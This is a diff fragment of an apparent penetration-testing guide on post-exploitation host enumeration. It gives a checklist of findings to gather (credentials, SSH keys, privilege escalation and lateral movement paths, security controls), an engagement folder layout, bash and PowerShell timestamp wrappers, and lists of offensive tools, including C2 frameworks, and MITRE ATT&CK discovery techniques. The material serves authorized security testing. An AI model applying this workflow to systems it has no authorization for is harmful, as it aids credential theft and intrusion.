|
|
901
|
+
3. **OS and patch level:** OS version, last patch date, missing critical patches
|
|
902
|
+
4. **High-value findings:** credentials, SSH keys, config files with secrets
|
|
903
|
+
5. **Privilege escalation paths:** ranked by likelihood and impact
|
|
904
|
+
6. **Lateral movement paths:** reachable hosts, accessible shares, active sessions
|
|
905
|
+
7. **Security controls identified:** AV/EDR products, firewall rules, audit logging state
|
|
906
|
+
8. **Scheduled tasks and persistence:** existing persistence mechanisms (may indicate prior compromise)
|
|
907
|
+
|
|
908
|
+
### Output file structure
|
|
909
|
+
|
|
910
|
+
```
|
|
911
|
+
engagement/
|
|
912
|
+
hosts/
|
|
913
|
+
WIN10-JDOE/
|
|
914
|
+
identity.md
|
|
915
|
+
network.md
|
|
916
|
+
processes.md
|
|
917
|
+
findings.md
|
|
918
|
+
credentials.md
|
|
919
|
+
privesc-paths.md
|
|
920
|
+
lateral-paths.md
|
|
921
|
+
webserver01/
|
|
922
|
+
...
|
|
923
|
+
reports/
|
|
924
|
+
network-map.png
|
|
925
|
+
host-summary.md
|
|
926
|
+
findings.json
|
|
927
|
+
raw/
|
|
928
|
+
WIN10-JDOE/
|
|
929
|
+
whoami-all.txt
|
|
930
|
+
netstat-ano.txt
|
|
931
|
+
get-process.txt
|
|
932
|
+
...
|
|
933
|
+
```
|
|
934
|
+
|
|
935
|
+
### Timestamping raw output
|
|
936
|
+
|
|
937
|
+
Always timestamp raw command output for forensic accuracy in the final report:
|
|
938
|
+
|
|
939
|
+
```bash
|
|
940
|
+
# Linux: timestamp wrapper
|
|
941
|
+
ts_cmd() { echo "=== $(date -u +%Y-%m-%dT%H:%M:%SZ) === $*"; eval "$*"; }
|
|
942
|
+
ts_cmd id
|
|
943
|
+
ts_cmd ss -tulpn
|
|
944
|
+
|
|
945
|
+
# PowerShell: timestamp wrapper
|
|
946
|
+
function Invoke-Timed { param($Cmd) Write-Host "=== $(Get-Date -Format 'yyyy-MM-ddTHH:mm:ssZ') === $Cmd"; Invoke-Expression $Cmd }
|
|
947
|
+
Invoke-Timed "whoami /all"
|
|
948
|
+
Invoke-Timed "Get-NetTCPConnection"
|
|
949
|
+
```
|
|
950
|
+
|
|
951
|
+
---
|
|
952
|
+
|
|
953
|
+
## Resources
|
|
954
|
+
|
|
955
|
+
### Tools
|
|
956
|
+
|
|
957
|
+
| Tool | URL | Purpose |
|
|
958
|
+
|---|---|---|
|
|
959
|
+
| PEASS-ng (WinPEAS/LinPEAS) | https://github.com/carlospolop/PEASS-ng | Automated privilege escalation enumeration |
|
|
960
|
+
| PowerView | https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 | AD enumeration from Windows |
|
|
961
|
+
| BloodHound | https://github.com/BloodHoundAD/BloodHound | AD attack path visualization |
|
|
962
|
+
| SharpHound | https://github.com/BloodHoundAD/SharpHound | BloodHound data collector |
|
|
963
|
+
| Seatbelt | https://github.com/GhostPack/Seatbelt | Windows host security enumeration |
|
|
964
|
+
| CrackMapExec | https://github.com/byt3bl33d3r/CrackMapExec | Post-exploitation over SMB/WinRM |
|
|
965
|
+
| Impacket | https://github.com/fortra/impacket | Windows protocol suite (Python) |
|
|
966
|
+
| Sliver | https://github.com/BishopFox/sliver | Open source C2 framework |
|
|
967
|
+
| Havoc | https://github.com/HavocFramework/Havoc | Modern C2 with OPSEC features |
|
|
968
|
+
| GTFOBins | https://gtfobins.github.io | Linux binary privilege escalation |
|
|
969
|
+
| LOLBAS | https://lolbas-project.github.io | Windows living-off-the-land binaries |
|
|
970
|
+
|
|
971
|
+
### References
|
|
972
|
+
|
|
973
|
+
| Reference | URL |
|
|
974
|
+
|---|---|
|
|
975
|
+
| MITRE ATT&CK — Discovery | https://attack.mitre.org/tactics/TA0007/ |
|
|
976
|
+
| MITRE ATT&CK — Collection | https://attack.mitre.org/tactics/TA0009/ |
|
|
977
|
+
| HackTricks — Linux Post-Exploitation | https://book.hacktricks.xyz/linux-hardening/privilege-escalation |
|
|
978
|
+
| HackTricks — Windows Post-Exploitation | https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation |
|
|
979
|
+
| PayloadsAllTheThings — Post-Exploitation | https://github.com/swisskyrepo/PayloadsAllTheThings |
|
|
980
|
+
| Red Team Notes — Windows Enumeration | https://www.ired.team/offensive-security/enumeration-and-discovery |
|
|
981
|
+
| Pentester's Promiscuous Notebook | https://ppn.snovvcrash.rocks |
|
|
982
|
+
|
|
983
|
+
### MITRE ATT&CK quick reference (Discovery tactic)
|
|
984
|
+
|
|
985
|
+
- T1007 — System Service Discovery
|
|
986
|
+
- T1010 — Application Window Discovery
|
|
987
|
+
- T1016 — System Network Configuration Discovery
|
|
988
|
+
- T1033 — System Owner/User Discovery
|
|
989
|
+
- T1049 — System Network Connections Discovery
|
|
990
|
+
- T1053 — Scheduled Task/Job
|
|
991
|
+
- T1057 — Process Discovery
|
|
992
|
+
- T1082 — System Information Discovery
|
|
993
|
+
- T1083 — File and Directory Discovery
|
|
994
|
+
- T1087 — Account Discovery
|
|
995
|
+
- T1115 — Clipboard Data
|
|
996
|
+
- T1135 — Network Share Discovery
|
|
997
|
+
- T1518 — Software Discovery
|
|
998
|
+
- T1552 — Unsecured Credentials
|